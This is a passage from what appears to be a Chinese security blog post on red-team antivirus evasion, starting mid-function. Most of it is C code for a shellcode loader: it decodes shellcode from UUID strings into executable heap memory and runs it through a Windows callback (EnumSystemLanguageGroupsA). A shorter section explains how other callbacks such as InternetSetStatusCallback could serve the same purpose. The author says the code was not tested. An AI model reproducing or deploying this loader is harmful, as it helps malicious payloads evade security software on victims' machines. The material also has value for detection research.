int dwNum = sizeof(buf) / sizeof(buf[0]);

HANDLE hMemory = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
if (hMemory == NULL) {
return -1;
}
PVOID pMemory = HeapAlloc(hMemory, 0, 1024);

DWORD_PTR CodePtr = (DWORD_PTR)pMemory;

for (size_t i = 0; i < dwNum; i++)
{
if (CodePtr == NULL) {
break;
}
RPC_STATUS status = UuidFromStringA(RPC_CSTR(buf[i]), (UUID*)CodePtr);
if (status != RPC_S_OK) {

return -1;
}
CodePtr += 16;
}

if (pMemory == NULL) {
return -1;
}
if (EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)pMemory, LGRPID_INSTALLED, NULL) == FALSE) {
// 加载成功
return 0;
}
return 0;
}

Windows CALL BACK 函数

CALL BACK意为回调,是定义一个函数,由系统某个事件或用户的动作自动触发的函数,因此调用者不是用户。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

HINTERNET hOpen; // Root HINTERNET handle
INTERNET_STATUS_CALLBACK iscCallback; // Holds the callback function

// Create the root HINTERNET handle.
hOpen = InternetOpen( TEXT("Test Application"),
INTERNET_OPEN_TYPE_PRECONFIG,
NULL, NULL, 0);

// Set the status callback function.
iscCallback = InternetSetStatusCallback( hOpen, (INTERNET_STATUS_CALLBACK)CallMaster );

void CALLBACK CallMaster( HINTERNET,
DWORD_PTR,
DWORD,
LPVOID,
DWORD
);

如果CallMaster指向的是一块可执行属性的内存,那么就可以加载Shellcode。

总结

如果真要走红队免杀这块,Windows 核心编程、Windows 操作系统相关的东西那必须非常熟练才行。

路漫漫……不要急于求成……

代码都没有本地测试,只是先了解了一下常见的方法。明天或者有空了在虚拟机里面用vs测试。mac版的vs没法编译c/c++。clion 也没有,没有 windows.h 这个头文件。

Author: m0nk3y
Link: https://hack-for.fun/bd13.html
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.